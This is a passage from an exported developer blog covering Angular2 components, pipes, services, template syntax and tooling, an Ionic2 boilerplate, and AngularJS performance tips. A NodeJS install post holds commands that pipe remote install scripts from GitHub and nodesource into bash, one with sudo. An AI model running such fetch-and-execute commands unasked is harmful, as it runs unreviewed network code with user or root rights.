\u0026#39;angular2/core\u0026#39;; @Directive({ selector: \u0026#39;[redify]\u0026#39; }) export class Redify { constructor(private _element: ElementRef, private renderer: Renderer) { renderer.setElementStyle(_element, \u0026#39;color\u0026#39;, \u0026#39;red\u0026#39;); } } Notice that in order to obtain a reference to our Presidential Candidate element we injected _element: ElementRef.\nOfficial docs for ElementRef To modify the element style we injected renderer: Renderer, which is a service that gives you methods to manipulate the style of a particular element.\nOfficial docs for Renderer Then we can add the redify directive to our component:\nimport {Redify} from \u0026#39;path/to/your/Redify/directive\u0026#39;; @Component({ selector: \u0026#34;navbar\u0026#34;, directives: [NgFor, Redify], ... template: ` \u0026lt;li redify *ngFor=\u0026#34;#item of items; #i = index\u0026#34;\u0026gt;{{item}} {{i}}\u0026lt;/li\u0026gt; ` }) Result http://embed.plnkr.co/iJiZVqixM0qAo4RMelB7/preview Pipe A pipe in Angular2 is the equivalent of filters in AngularJS. As in AngularJS, pipes can be stateless (pure functions, not reevaluated) or stateful (has dependencies that can modify the output).\nA better explanation of what is a pipe is available in the previous article of this series of posts: Angular2 series – Template Syntax Official docs Let\u0026rsquo;s get back again to our previous component and this time, let\u0026rsquo;s create a pipe to transform our presidential candidates last name to uppercase.\nFirst we create lastnameUppercase pipe:\nimport {Pipe} from \u0026#39;angular2/core\u0026#39;; @Pipe({ name: \u0026#39;lastnameUppercase\u0026#39; }) export class LastnameUppercase { transform(v, args) { return `${v.split(\u0026#39; \u0026#39;)[0]} ${v.split(\u0026#39; \u0026#39;)[1].toUpperCase()}`; } } Then let\u0026rsquo;s add this pipe to our navbar component in order to consume it.\nimport {LastnameUppercase} from \u0026#39;./pipes\u0026#39;; @Component({ selector: \u0026#34;navbar\u0026#34;, ... pipes: [LastnameUppercase], template: ` \u0026lt;li redify *ngFor=\u0026#34;#item of items; #i = index\u0026#34;\u0026gt;{{item | lastnameUppercase}} {{i}}\u0026lt;/li\u0026gt; ` }) Demo http://embed.plnkr.co/L1ERY1Pn6qmGl0B1hi0K/preview Built in pipes In Angular2 you have access to the following pipes for free:\ncurrency date uppercase json limitTo lowercase async decimal percent Service Now that we saw how to create a component, a directive and a pipe, we are going to clean up our code and separate the data retrieval (the presidential candidates) into a service.\nOfficial docs import {Injectable} from \u0026#39;angular2/core\u0026#39;; @Injectable() export class PresidentialCandidate { constructor() {} getRepublicainList() { return [ \u0026#34;Donald Trump\u0026#34;, \u0026#34;Rand Paul\u0026#34;, \u0026#34;Ben Carson\u0026#34; ] } getDemocraticList() { return [ \u0026#34;Hillary Clinton\u0026#34;, \u0026#34;Martin O\u0026#39;Malley\u0026#34;, \u0026#34;Bernie Sanders\u0026#34; ] } } Now let\u0026rsquo;s consume this service on our navbar component:\nimport {PresidentialCandidate} from \u0026#39;./services\u0026#39;; @Component({ selector: \u0026#34;navbar\u0026#34;, providers: [PresidentialCandidate], ... template: ` \u0026lt;h2\u0026gt;Democratic Party presidential candidates\u0026lt;/h2\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li redify *ngFor=\u0026#34;#item of democrats; #i = index\u0026#34;\u0026gt;{{item | lastnameUppercase}} {{i}}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;h2\u0026gt;Republican Party presidential candidates\u0026lt;/h2\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li redify *ngFor=\u0026#34;#item of republicans; #i = index\u0026#34;\u0026gt;{{item | lastnameUppercase}} {{i}}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; ` }) export class Navbar { democrats: Array\u0026lt;String\u0026gt; republicans: Array\u0026lt;String\u0026gt; constructor(private presidentialService :PresidentialCandidate) { this.democrats = presidentialService.getDemocraticList(); this.republicans = presidentialService.getRepublicainList(); } } We have decoupled the presidential candidates retrieval with the component that displays them. It is now easier for other components to consume this data.\nDemo http://embed.plnkr.co/z1B96b4OX7BHwkT0492G/preview Application AngularJS With AngularJS an application was a simple module. It had no difference from any other module of your application.\nangular.module(\u0026#39;yourApp\u0026#39;, []); Angular2 With Angular2, it is similar. An application is a simple component as any other component of your application. It is just the root component that basically contains the scaffolding of your page.\n@Component({ selector: \u0026#34;yourApp\u0026#34; }) @View({ directives: [Header, Navbar, Content, Footer] template: ` \u0026lt;header\u0026gt;\u0026lt;/header\u0026gt; \u0026lt;navbar\u0026gt;\u0026lt;/navbar\u0026gt; \u0026lt;content\u0026gt;\u0026lt;/content\u0026gt; \u0026lt;footer\u0026gt;\u0026lt;/footer\u0026gt; ` }) export class App { constructor() { } } Header, Navbar, Content and Footer are custom components, they do not exist within Angular2 core.\nBootstrap Now that you know how to create components and a root component (or app), you need to bootstrap the application.\nAngularJS In AngularJS you could use angular.bootstrap(document, ['yourApp']); or the ng-app directive \u0026lt;body ng-app=\u0026quot;yourApp\u0026quot;\u0026gt;.\nAngular2 In Angular2 it is very similar.\nimport {bootstrap} from \u0026#39;angular2/core\u0026#39;; import {yourApp} from \u0026#39;path/to/your/app/component\u0026#39;; bootstrap(yourApp, []); Our application is now ready to be rendered. Insert your app component in your index.html file and reload the browser, your app is ready!\n\u0026lt;body\u0026gt; \u0026lt;app\u0026gt; Loading... \u0026lt;/app\u0026gt; \u0026lt;/body\u0026gt; Thanks for reading, you can interact about this post by leaving a comment here, or directly on Twitter and Facebook !\n","permalink":"https://julienrenaux.fr/2015/12/13/angular2-series-component-directive-pipe-and-service/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"}],"title":"Angular2 series - Component, Directive, Pipe and Service"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post is part of a series of posts about Angular2. You can find them all in the introduction: https://julienrenaux.fr/2015/11/30/angular2-series-introduction/ Before we start and to make sure we are in line on the terminology, I will use the name AngularJS to define AngularJS 1.x and Angular2 to define AngularJS 2.x.\nTo understand the code blocks in that Angular2 series of posts , we need to learn a bit about the new Angular2 template syntax.\nBe careful, as of alpha52 core directives syntax changes from kebab case to camel case. Example: ng-if becomes ngIf. For more information read the migration docs Bind property AngularJS With AngularJS, binding a given expression to a property value requires to use either a core directive such as ng-value or use AngularJS markup {{}}.\nng-value is expecting an AngularJS expression, whose value will be bound to the value attribute of the input element:\n\u0026lt;input ng-value=\u0026#34;firstName\u0026#34; /\u0026gt; But you could also use it that way:\n\u0026lt;input value=\u0026#34;{{firstName}}\u0026#34; /\u0026gt; Angular2 With Angular2 it is similar, without the need to use a specific directive. Only the new syntax is necessary [value] and it is not limited to value, you can use it to bind anything to any particular element property:\n\u0026lt;input [value]=\u0026#34;firstName\u0026#34; [placeholder]=\u0026#34;firstNamePlaceholder\u0026#34; /\u0026gt; Exactly like AngularJS you can use the following:\n\u0026lt;input value=\u0026#34;{{firstName}}\u0026#34; placeholder=\u0026#34;{{firstNamePlaceholder}}\u0026#34; /\u0026gt; Event AngularJS With AngularJS we need to use special directives to listen to events. The most famous being ng-click . Ng-click listen to the onClick event. Here is the list of all the HMTL5 events that you can normally listen to: http://www.w3schools.com/tags/ref_eventattributes.asp Most of the HTML5 events are covered by AngularJS directives such as ng-blur, ng-change, ng-focus, ng-keyup etc.\n\u0026lt;button ng-click=\u0026#34;doSomething($event)\u0026#34;\u0026gt; Angular2 With Angular2 you can listen to any HTML5 native element event using this special syntax: (eventName)\n\u0026lt;button (click)=\u0026#34;doSomething($event)\u0026#34;\u0026gt; Two-way data binding Angular2 also has a two-way data binding in place but do not use the famous and decried \u0026ldquo;digest cycle\u0026rdquo; of AngularJS. Instead, Angular2 uses zone.js .\nA zone is an execution context that persists across async tasks.\nIf you want to make sense out of this sentence I suggest you watch this talk by Brian Ford:\nhttps://www.youtube.com/watch?v=3IqtmUscE_U Basically zone.js gives Angular2 a low level foundation that let it instrument the browser and let it know when asynch operations are finished.\nThat way, you can combine event and bind property syntaxes that we saw before:\n\u0026lt;input type=\u0026#34;text\u0026#34; [value]=\u0026#34;firstName\u0026#34; (input)=\u0026#34;firstName=$event.target.value\u0026#34; /\u0026gt; That being said, ngModel can be used as a simplified version of what we have above:\n\u0026lt;input type=\u0026#34;text\u0026#34; [(ngModel)]=\u0026#34;firstName\u0026#34; /\u0026gt; The result is identical.\nPro tip: you can also run anything outside the Angular2 zone using the NgZone service. The most common use of this service is to optimize performance when starting a work consisting of one (or more) asynchronous task that does not require UI updates.\nLocal variable A local template variable is a vehicle for moving data across element lines. As far as I know, there is no equivalent of local variable in AngularJS. A local variable # can be a pointer to an object or an DOM element.\n\u0026lt;video #movieplayer ...\u0026gt; \u0026lt;button (click)=\u0026#34;movieplayer.play()\u0026#34;\u0026gt; \u0026lt;/video\u0026gt; In the above example, having the movieplayer allows us to manipulate the video HTML5 api on the same element, its siblings or its children.\nPro tip: # is the canonical version of the local variable. You can also use it with var-. In our movieplayer case we could have var-movieplayer instead of #movieplayer.\n* symbol This is probably the most disturbing syntax choice of the new Angular2 syntax. It is actually pretty simple to understand what it does if you have a little background on what the template tag is.\ntemplate tag The template tag allows you to declare a piece of DOM that can be instantiated after run time. It guaranties better performance and the usage of a resource only when needed.\nHere is an example to be clearer:\n\u0026lt;div style=\u0026#34;display:none\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;path/to/your/image.png\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; As you can see, the image will not be displayed because of display:none on its parent. The problem is that the browser will prefetch this image whether you use it or not. It is a waste of resource and can impact your page performance.\nThe solution to this very problem is to use the template tag!\n\u0026lt;template\u0026gt; \u0026lt;img src=\u0026#34;path/to/your/image.png\u0026#34; /\u0026gt; \u0026lt;/template\u0026gt; The image in the above example will not be fetch by the browser until we instantiate the template.\nLet\u0026rsquo;s get back to the * symbol now. Using it on a element will turn it into an embedded template:\n\u0026lt;hero-detail *ngIf=\u0026#34;isActive\u0026#34; [hero]=\u0026#34;currentHero\u0026#34;\u0026gt;\u0026lt;/hero-detail\u0026gt; The following will be transformed as:\n\u0026lt;template [ngIf]=\u0026#34;isActive\u0026#34;\u0026gt; \u0026lt;hero-detail [hero]=\u0026#34;currentHero\u0026#34;\u0026gt;\u0026lt;/hero-detail\u0026gt; \u0026lt;/template\u0026gt; Now that I explained what the template tag is for, it is easy to understand that the * symbol is used by conditional directives such as ngFor, ngIf, and ngSwitch. Indeed, \u0026lt;hero-detail\u0026gt; component does not need to be instantiated until isActive is true.\nPipe A pipe in Angular2 is the equivalent of filters in AngularJS. As in AngularJS, pipes can be stateless (pure functions, not reevaluated) or stateful (has dependencies that can modify the output).\nStateful In Angular2, most built-in pipes are stateless, it is the case with DatePipe, UpperCasePipe, LowerCasePipe, CurrencyPipe, and PercentPipe.\nYou can use them that way:\n\u0026lt;p\u0026gt;My birthday is {{ birthday | date:\u0026#34;MM/dd/yy\u0026#34; }} \u0026lt;/p\u0026gt; and even chain them (same as AngularJS):\n{{ birthday | date | uppercase}} Stateful The Async pipe is a built-in stateful pipe. It can receive a Promise or Observable as input and subscribe to the input automatically, eventually returning the emitted value(s).\n[typescript] @Component({ selector: \u0026lsquo;my-hero\u0026rsquo;, template: \u0026lsquo;Message: {{delayedMessage | async}}\u0026rsquo;, }) class MyHeroAsyncMessageComponent { delayedMessage:Promise = new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; resolve(\u0026lsquo;You are my Hero!\u0026rsquo;), 500); }); } [/typescript]\nHere, \u0026lt;my-hero\u0026gt; component will display Message: You are my Hero! only once the delayedMessage promise is resolved.\nElvis operator In JavaScript, you often end up checking the existence of object properties. For instance I am sure you have written that kind of conditions before:\nif (cordova \u0026amp;amp;\u0026amp;amp; cordova.plugins \u0026amp;amp;\u0026amp;amp; cordova.plugins.notification){ // use cordova.plugins.notification } All of this to avoid such an error TypeError: Cannot read property 'notification' of undefined.\nPro tip: you can simplify it using lodash _.get function. The previous example could be written that way:\nif (_.get(cordova, \u0026#39;plugins.notification\u0026#39;)){ // use cordova.plugins.notification } Even if plugins is not defined _.get will return undefined.\nThe Elvis operator (?) in Angular2 fixes that very problem but in the template side.\n\u0026lt;p\u0026gt;Employer: {{employer?.companyName}}\u0026lt;/p\u0026gt; Here the employer field is optional and if undefined, the rest of the expression should be ignored. Without the Elvis operator here you will get a TypeError.\nIt also works with long property path: a?.b?.c?.d\nThanks for reading, you can interact about this post by leaving a comment here, or directly on Twitter and Facebook !\n","permalink":"https://julienrenaux.fr/2015/12/02/angular2-series-template-syntax/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"}],"title":"Angular2 series - Template Syntax"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post is part of a series of posts about Angular2. You can find them all in the introduction: https://julienrenaux.fr/2015/11/30/angular2-series-introduction/ Tooling is really important when starting a new project. This post presents my favorite tool stack (TypeScript \u0026amp; Webpack) and explain why you should use it too with Angular2.\nAngular2 does not require any of the following tools, the choice is entirely yours to use them or not.\nECMAScript6 ECMAScript 2015 (6th Edition) is the current version of the ECMAScript Language Specification standard. ES6 got officially approved and published as a standard on June 17, 2015 by the ECMA General Assembly.\nAngular 2 requires ES6 support, but ES6 is only available on modern browsers. For older browsers (including IE 11) you can use a shim to get the needed functionality.\n\u0026lt;script src=\u0026#34;../node_modules/es6-shim/es6-shim.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; If you use a compilation phase (using Gulp, Grunt, Webpack or Browserify), which I recommend (see last paragraph about Webpack) you could directly compile your ES6 code into ES5 instead of using es6-shim. ES5 is available on most browsers .\nIf you want to have a complete overview of what ES6 new features are, I recommend reading the this great babeljs doc Class Classes are used everywhere in Angular2, a Service is a Class, a Component is also a Class and a Directive is\u0026hellip; a Class. It is therefore important to learn a bit about them.\nES6 introduced Classes (available for a long time in CoffeeScript). Classes are a simple sugar over the prototype-based object oriented pattern. If you come from an object oriented language such as Java, Php or C++ you are already accustomed to classes.\nHere is simple example from a book that I love JavaScript Design Patterns by Addy Osmani :\nclass Car { constructor(model, km) { this.model = model; this.km = km; } drive(km) { this.km = this.km + km; } getKm() { return `${this.km} km`; } } Classes support inheritance, super calls and static methods.\nInstantiation Let\u0026rsquo;s play with our new car! We are going to instantiate a used car and drive it a little:\nlet twingo = new Car(\u0026#34;Renault Twingo\u0026#34;,100000); console.log(twingo.getKm()); // dump: 100000 km // Drive 150km twingo.drive(150); console.log(twingo.getKm()); // dump: 100150 km Access static methods class Car { ... static getWheels(){ return 4; } } console.log(Car.getWheels()); // dump: 4 Calling getWheels static function on a Car instance twingo.getWheels() will result as twingo.getWheels is not a function..\nAll of these examples are available on plunker .\nTypeScript TypeScript is a super-set of ES6, meaning that when writing TypeScript code you have access to all ES6 new features such as arrow functions, generator, multiline strings etc. It also means that you can rename your ES6 based files from .js to .ts without any problem.\nIf you are used to ECMAScript6, jumping to TypeScript should not be difficult at all. While you are not forced to use TypeScript when developing Angular2 applications, I I still recommend using it for several reasons:\nES6 shim not needed anymore TypeScript can also transform your code into ES5 (available on most browsers ).\nTo do that, add a tsconfig.json file to the root of your project and specify the compile option to be ES5:\n{ \u0026#34;compilerOptions\u0026#34;: { \u0026#34;target\u0026#34;: \u0026#34;es5\u0026#34;, \u0026#34;module\u0026#34;: \u0026#34;commonjs\u0026#34;, ... } } Optional typing TypeScript enables the optional typing. It means that if we want to force a type on a Class property we can do it that way:\nexport class Car { model: string; km: number; constructor(newModel: string, newKm: number) { this.model = newModel; this.km = newKm; } drive(km: number) { this.km = this.km + km; } } Here we made sure that the car model is a string and the car number of km is a number.\nNow running new Car(\u0026quot;Renault Twingo\u0026quot;, \u0026quot;100000\u0026quot;) (note that the second argument is a string) will return an error.\nInterface In TypeScript, interfaces fill the role of naming these types, and are a powerful way of defining contracts within your code as well as contracts with code outside of your project.\nClass Types Interfaces are capable of describing the wide range of shapes that JavaScript objects can take. In addition to describing an object with properties, interfaces are also able to describe function types.\ninterface CarInterface { model: string; km: number; drive(km: number); getKm(); } class Car implements CarInterface { model: string; km: number; constructor(newModel: string, newKm: number) { this.model = newModel; this.km = newKm; } drive(km: number) { this.km = this.km + km; } getKm() { return `${this.km} km`; } } Interfaces are a great feature to have. I personally use it when building applications that are Web and Mobile compatible.\nWith an interface, I expose common properties and methods that we can implement. Then, we can have CarMobile and CarWeb Classes that expose the same API but implement methods in a different way (for instance using Ionic service on mobile and Bootstrap service on Web).\nIDE support What I really like about TypeScript is the IDE support. Whether you use Atom, WebStorm or SublimeText you will still have plugins to enable autocompletion, type checking and linter.\nWebpack Webpack is a module bundler that is quite popular lately in the React community, but now also in the Angular2 community.\nYou can forget about Grunt or Gulp scripts that need to be maintained. Webpack allows you to require any type of file (.js, .coffee, .css, .scss, .png, .jpg, .svg, etc.) and pipe them through loaders to generate static assets, available to your application.\nIf you need examples on how Webpack works I suggest you go check out a previous post of mine: https://julienrenaux.fr/2015/03/30/introduction-to-webpack-with-practical-examples/ .\nCompilation phase Having a compilation phase has a real advantage. It allows you to automate behavior that you have to do manually otherwise. For instance, autoprefixing your CSS to work with most of the Browsers.\nThe following CSS with -webkit- and -ms- prefixes is really painful to write manually because you need to know which prefix to use on different cases.\n.page-wrap { display: -webkit-box; /* OLD - iOS 6-, Safari 3.1-6, BB7 */ display: -ms-flexbox; /* TWEENER - IE 10 */ display: -webkit-flex; /* NEW - Safari 6.1+. iOS 7.1+, BB10 */ display: flex; /* NEW, Spec - Firefox, Chrome, Opera */ } If you use a compilation phase you could just write it that way:\n.page-wrap { display: flex; } The CSS is now lighter, easier to understand and to maintain.\nWebpack allows you to \u0026ldquo;pipe\u0026rdquo; your CSS code into several loaders that will transform it. In that particular case, we want the autoprefixer loader to add prefixes compatible with the last 2 versions of all browsers.\n{ test: /\\.css$/, loader: \u0026#34;style!css!autoprefixer?browsers=last 2 versions\u0026#34; } Catching syntax errors Having a tool such as Webpack is great to catch potential JavaScript syntax errors even before running your code in the browser. With webpack-dev-server your code is compiled on the fly when any file is modified. Any syntax error will display this kind of message on your terminal:\nERROR in ./lib/home/controller.js Module build failed: SyntaxError: /Users/shprink/Sites/test/controller.js: Unexpected token (6:39) 4 | var vm = this; 5 | \u0026gt; 6 | $scope.$on(\u0026#39;$viewContentLoaded\u0026#39; () =\u0026gt; { | ^ 7 | 8 | }); 9 | Here we forgot to add a coma between '$viewContentLoaded' and our function.\nAvoid CSS and template inline ES6 introduces a really great feature which is multiline strings. Before ES6, a multiline string could be written that way:\n\u0026#34;\u0026lt;h4\u0026gt;Give me some keys!\u0026lt;/h4\u0026gt;\u0026#34; + \u0026#34;\u0026lt;div\u0026gt;{{values}}\u0026lt;/div\u0026gt;\u0026#34; or:\n[\u0026#34;\u0026lt;h4\u0026gt;Give me some keys!\u0026lt;/h4\u0026gt;\u0026#34;, \u0026#34;\u0026lt;div\u0026gt;{{values}}\u0026lt;/div\u0026gt;\u0026#34;].join(\u0026#39;\u0026#39;) Now with ES6, you can write it that way:\n` \u0026lt;h4\u0026gt;Give me some keys!\u0026lt;/h4\u0026gt; \u0026lt;div\u0026gt;{{values}}\u0026lt;/div\u0026gt; ` This is really nice, but I am not a big fan of using it for HTML or CSS. In a lot of Angular2 examples you will see something like this:\n@Component({ selector: \u0026#34;app\u0026#34; }) @View({ styles: [` .container{ color: red; } `], template: ` \u0026lt;h4\u0026gt;Give me some keys!\u0026lt;/h4\u0026gt; \u0026lt;div\u0026gt;\u0026lt;input (keyup)=\u0026#34;onKey($event)\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;{{values}}\u0026lt;/div\u0026gt; ` }) While this is great for tutorials as it is concise and inline, it is, in my opinion, not good to use on your projects.\nThe reason is fairly simple. When using CSS or HTML into a JavaScript file you loose all the great features that your IDE provides. For instance, you cannot correctly format your HTML or CSS and you do not have autocompletion.\nWhat I prefer to do is having separated HTML and CSS files so we can leverage IDE\u0026rsquo; features on them. With Webpack you could do something like this to import your HTML and CSS as strings:\n@Component({ selector: \u0026#34;app\u0026#34; }) @View({ directives: [Navbar, RouterOutlet], styles: [require(\u0026#39;./index.scss\u0026#39;)], template: require(\u0026#39;./index.html\u0026#39;) }) Thanks for reading, you can interact about this post by leaving a comment here, or directly on Twitter and Facebook !\n","permalink":"https://julienrenaux.fr/2015/11/30/angular2-series-tooling/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"}],"title":"Angular2 series - Tooling"},{"categories":[],"content":"Angular2 is new, the quantity of blog posts is very limited at the moment and the documentation is sometimes incomplete. In these conditions, it is hard to find the right information to start your own application.\nBefore we start and to make sure we are in line on the terminology, I will use the name AngularJS to define AngularJS 1.x and Angular2 to define AngularJS 2.x.\nAngular2 is a complete rewrite of the famous AngularJS that we love and that I have used for years. Angular2 uses modern Web standards (Web components, Shadow DOM etc.) which make it faster than AngularJS. It includes a wealth of essential features such as mobile gestures, animations, filtering, routing, data binding, security and internationalization.\nBy going through this series of posts you will learn all you need to know about creating a complete application using Angular2 and TypeScript.\nTooling https://julienrenaux.fr/2015/11/30/angular2-series-tooling/ Template Syntax https://julienrenaux.fr/2015/12/02/angular2-series-template-syntax/ Component, Directive, Pipe and Service https://julienrenaux.fr/2015/12/13/angular2-series-component-directive-pipe-and-service/ Routing (Deprecated) https://julienrenaux.fr/2015/12/25/angular2-series-routing/ ","permalink":"https://julienrenaux.fr/2015/11/30/angular2-series-introduction/","tags":[],"title":"Angular2 series - Introduction"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Today we had the chance to discover a Ionic2 presentation by @adamdbradley at AngularConnect London!\nhttps://youtu.be/43vanF4YwRI?t=47m18s This presentation announces the alpha release of Ionic2 and shares the documentation on how to start building your own app with Ionic2.\nAs I got pretty excited I also created a boilerplate based on the cutePuppyPics starter kit by ionic team. My version is enhanced in many ways:\nremoves gulp dependency (only webpack is needed and because you\u0026rsquo;re worth it ;) removes ionic-cli dependency (only cordova and webpack-dev-server are needed) removes dist files (only the sources are committed) Running this boilerplate is as easy as running these two commands:\n# Install dependencies npm install # Run the dev server npm run devserver Now open your browser on http://localhost:8080/ and enjoy Ionic2 :)\nDemo (3mb, can be pretty slow to load..) Source available on Github : https://github.com/shprink/ionic2-webpack-ES6-boilerplate ","permalink":"https://julienrenaux.fr/2015/10/21/ionic2-webpack-and-ecmascript6-boilerplate/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Ionic2, Webpack and ECMAScript6 boilerplate"},{"categories":[{"LinkTitle":"Ops","RelPermalink":"/categories/ops/"}],"content":"Via NVM (Node Version Manager) # get the latest nvm release https://github.com/creationix/nvm/releases curl https://raw.githubusercontent.com/creationix/nvm/v0.29.0/install.sh | bash # OR wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.29.0/install.sh | bash # Restart your terminal or run source ~/.profile # Install the NodeJS version needed nvm install 4.1 # update npm npm install npm -g Via PPA curl -sL https://deb.nodesource.com/setup_4.x | sudo bash - sudo apt-get install -y nodejs # update npm npm install npm -g ","permalink":"https://julienrenaux.fr/2015/10/15/how-to-install-nodejs-4-x-on-ubuntu/","tags":[{"LinkTitle":"NodeJS","RelPermalink":"/tags/nodejs/"}],"title":"How to install NodeJS 4.x on Ubuntu"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"I have heard about the Telerik\u0026rsquo;s native transition plugin for Cordova recently. To me this is not only a game changer in the hybrid industry, but in the entire mobile application industry.\nIndeed with this improvement it will be really hard to tell what\u0026rsquo;s an hybrid application and what\u0026rsquo;s not. With the help of Ionic Framework, AngularJS and Cordova, hybrid applications are now sexiest than before, cheaper to produce and quicker to release. I started developing hybrid applications two years ago and the improvement made by Ionic, AngularJS, Cordova, Crosswalk are tremendous!\nTo help the Ionic community to use native transitions I created ionic-native-transitions a plugin available on github and npm where transitions are automatically added to your ionic application.\nJust turn the plugin ON and enjoy native transitions ;)\n","permalink":"https://julienrenaux.fr/2015/10/07/native-transitions-for-ionic-framework-made-easier/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Native transitions for Ionic Framework made easier"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Introduction This tutorial is a post that I did for tutsplus.com . It will explain you step by step how to create a modern, hybrid, mobile application (iOS and Android) of your WordPress website using the latest technologies. We\u0026rsquo;ll be using Ionic Framework, ECMAScript 6, npm, webpack, and Apache Cordova.\nhttp://code.tutsplus.com/tutorials/create-a-mobile-application-using-wordpress-ionic-and-angularjs--cms-24170 ","permalink":"https://julienrenaux.fr/2015/09/30/create-a-mobile-application-using-wordpress-ionic-and-angularjs/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Create a Mobile Application Using WordPress, Ionic, and AngularJS"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"As a lot of persons have asked me about how to improve AngularJS and/or Ionic performance. To avoid repeating myself on forums or on Slack I decided to create this ultimate cheat sheet list!\nAngularJS $watch If you ever need to use $watch to listen to scope changes, you better use the right one. Indeed watched properties are examined on every call to $digest(), and therefore influence your application performance. There are three different ways to $watch scope properties:\n$watch(watchExpression, listener, [objectEquality]); Registers a listener callback to be executed whenever the watchExpression changes.\nThis is the basic $watch, it can be used like this:\n$scope.$watch(\u0026#39;watchExpression\u0026#39;, function(newVal, oldVal){ if(newVal){ // watchExpression has changed. } }); If watchExpression is an object that contains objects you can use objectEquality as true to deep watch watchExpression. While this is a super feature to have, it has a huge impact on your application performance:\n$scope.$watch(\u0026#39;watchExpression\u0026#39;, function(newVal, oldVal){ if(newVal){ // watchExpression has changed. } }, true); My advice is to avoid using objectEquality when possible.\n$watchGroup(watchExpressions, listener); A variant of $watch() where it watches an array of watchExpressions. If any one expression in the collection changes the listener is executed.\nIntroduced in AngularJS 1.3, $watchGroup allows to watch several expressions at once.\n$scope.$watchGroup([ \u0026#39;watchExpression\u0026#39;, \u0026#39;watchExpression2\u0026#39;, \u0026#39;watchExpression3\u0026#39; ], function(newVals, oldVals) { if (newVals[0]) { // watchExpression has changed. } if (newVals[1]) { // watchExpression2 has changed. } if (newVals[2]) { // watchExpression3 has changed. } }); While $watchGroup might not improve your application performance compare to $watch, it has the advantage to be more synthetic when watching several scope expressions.\n$watchCollection(obj, listener); Shallow watches the properties of an object and fires whenever any of the properties change (for arrays, this implies watching the array items; for object maps, this implies watching the properties). If a change is detected, the listener callback is fired.\n$watchCollection can be considered in between the $watch and the $watch with objectEquality (deep watch). It also works comparing object references but with the advantage to also shallow watches the properties of your object.\nFor instance adding an element to an array that you watch will not trigger the normal $watch but trigger the $watch with objectEquality and the $watchCollection.\nI recommend using the $watchCollection over the $watch with objectEquality when necessary. It is less expensive and therefore better for performance.\nTo go further on $watch and $watchCollection differences I recommend this article by Ben Nadel: http://www.bennadel.com/blog/2566-scope-watch-vs-watchcollection-in-angularjs.htm One-time binding An expression that starts with :: is considered a one-time expression. One-time expressions will stop recalculating once they are stable, which happens after the first digest if the expression result is a non-undefined value.\nOne-time binding :: was also introduced in Angular 1.3. It has a real impact on your application performance.\nBasically using One-time binding :: on expression will remove it from the $watchers list when populated. It means that the expression will not be able to update even if the data changes.\nFor instance displaying the user first name on an application is unlikely to be updates, therefore is a good candidate for One-time binding :::\n{{::user.first_name}} My advice is to go through all your applications views and think about what could or could not be updated and use One-time binding :: accordingly. It will be a huge relief for the digest cycle!\nTrack by track by is used to avoid useless DOM manipulation when using ng-repeat. Indeed if the digest cycle finds that at least one element of your collection has changed, ng-repeat will re-render all elements. DOM manipulation always has effects on the application performance, the less you have the better. To avoid re-rendering the complete collection and only change the elements that need to be changed use track by with a unique identifier.\nChange your code from that:\nng-repeat=\u0026quot;user in users\u0026quot;\nto:\nng-repeat=\u0026quot;user in users track by user.id\u0026quot; (if users have a unique id) or ng-repeat=\u0026quot;user in users track by $index\u0026quot; if they don\u0026rsquo;t. $index is added by ng-repeat to each elements of your collection.\nLogs When using AngularJS do not use console.log, having them on a production application can slow down performances (see this jsperf ). Some tools such as gulp-strip-debug automatically removes them from your code but my advice is not use console.log at all. AngularJS has a built in service that just does that: $log. It can be switched off using the $logProvider provider:\nangular.module(\u0026#39;yourModule\u0026#39;).config(function($logProvider) { if (/* test if in production */) { $logProvider.debugEnabled(false); } }); The $log service has several log levels .info .debug and .error.\nDebug AngularJS by default adds scope references to the DOM for tools such as angularjs-batarang to work. This has an impact on your application performance.\nIt can be disabled using the $compileProvider provider:\nangular.module(\u0026#39;yourModule\u0026#39;).config(function($compileProvider) { if (/* test if in production */) { $compileProvider.debugInfoEnabled(false); } }); Loops Depending on the browser you use, JavaScript performance can be different. I set up 9 loop tests that go through an array of one hundred elements:\nvar arr = new Array(100); # while loop var i = 0; while (i \u0026lt; arr.length) { arr[i]; i++; }; # cached while loop var i = 0, len = arr.length; while (i \u0026lt; len) { arr[i]; i++; }; # Reverse while loop var i = arr.length; while (i--) { arr[i]; }; # for loop for (var i = 0; i \u0026lt; arr.length; ++i) { arr[i]; }; # cached for loop var i = 0, len = arr.length for (; i \u0026lt; len; ++i) { arr[i]; }; # Reverse for loop for (var i = arr.length; i--;) { arr[i]; }; # Angular foreach angular.forEach(arr, function(value, i) { arr[i]; }); # Native foreach arr.forEach(function(value, i) { arr[i]; }); # Lodash foreach _.forEach(arr, function(value, i) { arr[i]; }); At the end we can compare the results . What is the most performant way to iterate on an Array? Well apparently the \u0026ldquo;cached for loop\u0026rdquo; tend to be the best alternative across browsers. Native and Angular foreach are just 13 times less efficient than the cached loop\u0026hellip;\nThe \u0026ldquo;cached for loop\u0026rdquo; does not re-evaluate the 